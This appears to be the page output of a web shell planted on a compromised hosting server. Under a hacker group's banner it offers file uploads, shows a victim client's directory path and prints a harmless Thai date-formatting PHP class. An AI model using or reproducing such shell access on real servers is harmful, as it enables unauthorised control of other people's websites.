-
✘✘✘ WIBUHAX0R1337 ✘✘✘
-
✘
PATCH :
/
var
/
www
/
clients
/
client4
/
web4
/
web
/
ris
/
includes
/
lib
/
Upload File:
files >> /var/www/clients/client4/web4/web/ris/includes/lib/DateTime.class.php
<?php /** * DateTimeX * @author Somchok Baowtong <Somchok@Gmail.com> * @version 1.4 */ class DateTimeX { var $WEEKDAY_TH = array('อาทิตย์', 'จันทร์', 'อังคาร', 'พุธ', 'พฤหัสบดี', 'ศุกร์', 'เสาร์', 'อาทิตย์'); var $MONTH_TH = array('', 'มกราคม', 'กุมภาพันธ์', 'มีนาคม', 'เมษายน', 'พฤษภาคม', 'มิถุนายน', 'กรกฎาคม', 'สิงหาคม', 'กันยายน', 'ตุลาคม', 'พฤศจิกายน', 'ธันวาคม'); var $MONTH_S_TH = array('', 'ม.ค.', 'ก.พ.', 'มี.ค.', 'เม.ย.', 'พ.ค.', 'มิ.ย.', 'ก.ค.', 'ส.ค.', 'ก.ย.', 'ต.ค.', 'พ.ย.', 'ธ.ค.'); //var $MONTH_TH = array(); var $MONTH_EN = array('', 'January','February','March','April','May','June','July','August','September','October','November','December'); var $process_time; var $process_time_start; var $process_time_end; function DateTimeX() { //$this->MONTH_TH = Languages::month(); $this->process_time_start = $this->microtime_float(); } function microtime_float() { list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec); } function start_process() { $this->process_time_start = $this->microtime_float(); } function get_process_time() { $this->process_time_end = $this->microtime_float(); $time = $this->process_time_end - $this->process_time_start; $time = sprintf("%0.3f", $time); return $time; } /** * Return Current date * @return Current date */ function getCurrentDate($format="") { $date = date("Y-m-d"); switch (strtoupper($format)) { case "SQL"; return $date; break; case "THAI"; return $this->getFullDate($date); break; case "TH"; return $this->changeFormat($date); break; case ""; return $date; break; } return date("Y-m-d"); } /** * Return Current date and time (YYYY-mm-dd HH:mm:ss) * @return Current date and time */ function getCurrentDateTime() { return date("Y-m-d H:i:s"); } function getCurrentTime($opt='S') { return date("H:i"); } function getDB2HTMLTime($time='') { if ($time == '') { return date("H:i"); }else{ $times = $this->splitTime($time); return date("H:i", mktime($times['h'],$times['m'],0, date(m) ,date(d), date("Y"))); } } function splitTime($time) { $times = explode(':', $time); $arr_time['h'] = $times[0]; $arr_time['m'] = $times[1]; $arr_time['s'] = $times[2]; return $arr_time; } function getLastDay($date='', $month='0', $year='0', $opt='TH') { if ($date != '') { if (!$this->isDate($date)) { return 0; } $format = $this->checkThaiOrSql($date); if ($format == "thai") { $date = $this->thaiToSql($date); } $arr = $this->splitDate($date); return date ("t", mktime(0,0,0, $arr['month'] ,1, $arr['year'])); }else{ if ($opt=='TH') { $year = $year - 543; } return date("t", mktime(0,0,0, $month ,1, $year)); } } function getDay($date='', $ver='TH') { $retval = date("j", '2005-04-01'); if ($date!='') { $arr = $this->splitDate($date); //$year = ($ver=='TH')?$arr['year']-543:$arr['year']; $retval = date ("j", mktime(0,0,0, $arr['month'] , 1, $arr['year']-543)); } return $retval; } function getDate($date) { $arr = $this->splitDate($date); $retval = mktime(0,0,0, $arr['month'] , $arr['day'], $arr['year']); return $retval; } function getMonth($date='') { if ($date=='') { $arr['month'] = date(n); }else{ $arr = $this->splitDate($date); } return $arr['month']; } function getCurrentFullMonth() { return $this->MONTH_TH[(int)date(m)]; } function getYear($date='', $format='TH') { return date("Y") + 543; // if ($date=='') { // return $this->getCurrentYear($format); // }else{ // $arr = $this->splitDate($date); // return date ("Y", mktime(0,0,0, $arr['month'] ,1, $arr['year'])); // } } function getCurrentYear($format='TH') { $year = date("Y"); switch (strtoupper($format)) { case "TH"; $year = date("Y") + 543; break; case "STH"; $year = substr((date("Y") + 543), 2, 4); break; case "EN"; $year = date("Y"); break; case ""; $year = date("Y"); break; } return $year; } function changeYear($year, $format='TH') { switch (strtoupper($format)) { case "TH"; $year = $year + 543; break; case "EN"; $year = $year - 543; break; case ""; $year = $year - 543; break; } return $year; } function getFullDateTime($date_time, $format="FULL") { $dt = explode(" ", $date_time); if ($format=="FULL") { $date = $this->getFullDate($dt[0]); }else{ $date = $this->changeFormat($dt[0]); } return $date." ".$dt[1]; } function getFullDateDay($date, $format="FULL") { $w = date("w", $date); $date = $this->getFullDate($date, $format); return "วัน".$this->WEEKDAY_TH[$w]." ที่ ".$date; } function getDateTime($date_time) { $new_date = ""; if (!($date_time=='' || $date_time=='0000-00-00 00:00:00')) { $dt = explode(" ", $date_time); $date = $this->changeFormat($dt[0]); $new_date = $date." ".$dt[1]; } return $new_date; } function getFullDate($date, $fm='FULL') { $format = $this->checkThaiOrSql($date, $format='FULL'); if ($format == "sql") { $date = $date; }else if ($format == "thai") { $date = $this->thaiToSql($date); }else{ return ""; } $date_arr = explode("-", $date); $day = (int)$date_arr[2]; $month = (int)$date_arr[1]; $year = (int)$date_arr[0] + 543; if ($day == 0 || $month == 0 || $year == 0) { $Full = ""; }else{ if ($fm=='FULL') { $Full = $day." ".$this->MONTH_TH[$month]." ".$year; }elseif ($fm=='MY') { $Full = $day." ".$this->MONTH_S_TH[$month]." ".substr($year, -2); } } return $Full; } function getFullMonth($month) { return $this->MONTH_TH[(int)$month]; } function getFullYear($year) { return (int)$year + 543; } function getWeekDay($date) { return ''; } function changeFormat($date){ $format = $this->checkThaiOrSql($date); if ($format == "sql") { return $this->sqlToThai($date); }else if ($format == "thai") { return $this->thaiToSql($date); }else{ return ""; } } function checkThaiOrSql($date){ if (strpos($date, '-') !== false) { return "sql"; }else if (strpos($date, '/') !== false) { return "thai"; }else{ return "none"; } } function thaiToSql($date){ $date_arr = explode("/", $date); $day = sprintf("%02d", $date_arr[0]); $month = sprintf("%02d", $date_arr[1]); $year = sprintf("%04d", ($date_arr[2])); return $year."-".$month."-".$day; } function sqlToThai($date) { $rdate = ''; if ($date == '0000-00-00') { $rdate = ''; }else{ $date_arr = explode("-", $date); $day = (int)$date_arr[2]; $month = (int)$date_arr[1]; $year = (int)$date_arr[0]; $rdate = $day."/".$month."/".$year; } return $rdate; } function compareDate ($i_sFirstDate, $i_sSecondDate){ //Break the Date strings into seperate components $arrFirstDate = explode ("/", $i_sFirstDate); $arrSecondDate = explode ("/", $i_sSecondDate); $intFirstDay = $arrFirstDate[0]; $intFirstMonth = $arrFirstDate[1]; $intFirstYear = $arrFirstDate[2]; $intSecondDay = $arrSecondDate[0]; $intSecondMonth = $arrSecondDate[1]; $intSecondYear = $arrSecondDate[2]; // Calculate the diference of the two dates and return the number of days. $intDate1Jul = gregoriantojd($intFirstMonth, $intFirstDay, $intFirstYear); $intDate2Jul = gregoriantojd($intSecondMonth, $intSecondDay, $intSecondYear); return $intDate1Jul - $intDate2Jul; }//end Compare Date /** * @return date */ function addDate($date='', $d=1, $m=0, $y=0) { $date = ($date=='')?date('Y-m-d'):$date; $dates = $this->splitDate($date); $day = $dates['day']; $year = $dates['year']; $month = $dates['month']; $d = ($y*366)+($m*30)+$d; $new = date ("Y-m-d", mktime(0,0,0, $month ,$day+$d, $year)); return $new; } /** * Returns true is date, false is not date * @param String date format (ex. '12/6/2547' or '2004-08-19') * @return boolean */ function isDate($date) { $arrOfDate = $this->splitDate($date); return checkdate($arrOfDate['month'], $arrOfDate['day'], $arrOfDate['year']); } function isCurrentDate($date) { $retval = false; if ($date == date("Y-m-d")) { $retval = true; } return $retval; } /** * Returns array of date (day, month, year) * */ function splitDate($date) { $arr = array(3); $format = $this->checkThaiOrSql($date); if ($format == "sql") { $date_arr = explode("-", $date); $arr['day'] = (int)$date_arr[2]; $arr['month'] = (int)$date_arr[1]; $arr['year'] = (int)$date_arr[0]; }else if ($format == "thai") { $date_arr = explode("-", $date); $arr['day'] = (int)$date_arr[0]; $arr['month'] = (int)$date_arr[1]; $arr['year'] = (int)$date_arr[2]; }else{ $arr['day'] = 0; $arr['month'] = 0; $arr['year'] = 0; } return $arr; } function getYearOption($start, $end, $sel='') { for ($i=$start; $i<($end+1); $i++) { $selected = ($sel == $i)?' selected':''; $html .= '<option value="'.$i.'"'; $html .= $selected.'>'; $html .= ($i+543); $html .= '</option>'; $html .= "\n"; } return $html; } function getMonthOption($sel='') { for ($i=1; $i<count($this->MONTH_TH); $i++) { $selected = ($sel == $i)?' selected':''; $html .= '<option value="'.$i.'"'; $html .= $selected.'>'; $html .= $this->MONTH_TH[$i]; $html .= '</option>'; $html .= "\n"; } return $html; } function getDayOption($month, $year, $sel='') { $month = ($month == '')?$this->getMonth():$month; $year = ($year == '')?$this->getCurrentYear():$year; $days = $this->getLastDay('', $month, $year); for ($i=1; $i<$days+1; $i++) { $selected = ($sel == $i)?' selected':''; $html .= '<option value="'.$i.'"'; $html .= $selected.'>'; $html .= $i; $html .= '</option>'; $html .= "\n"; } return $html; } function getTime($time='', $opt='') { $retval = ''; if ($time=='') { $retval = date("H:i:s"); }else{ $newtime = explode(':', $time); $retval = $newtime[0].':'.$newtime[1]; } return $retval; } function getTimeOnly($date) { if ($date == '') { return date('H:i:s'); }else{ $dt = explode(' ', $date); return $dt[1]; } } function isWeekend($date='') { $date = ($date == '')?date('Y-m-d'):$date; $arr = $this->splitDate($date); $wday = date ("w", mktime(0,0,0, $arr['month'] , $arr['day'], $arr['year'])); if ($wday == '0' || $wday == '5' ||$wday == '6') { return true; }else{ return false; } } function week_start_date($wk_num='', $yr='', $first = 1, $format = 'Y-m-d') { $wk_num = ($wk_num=='')?date("W")-1:$wk_num; $yr = ($yr=='')?date("Y"):$yr; $wk_ts = strtotime('+' . $wk_num . ' weeks', strtotime($yr . '0101')); $mon_ts = strtotime('-' . date('w', $wk_ts) + $first . ' days', $wk_ts); return date($format, $mon_ts); } function week_end_date($wk_num='', $yr='', $first = 1, $format = 'Y-m-d') { $start = $this->week_start_date($wk_num, $yr, $first, $format); return date($format, strtotime('+6 days', strtotime($start))); } } ?>
2022 - 2023 Copyright By Lutfifakee || Padang Blackhat ♥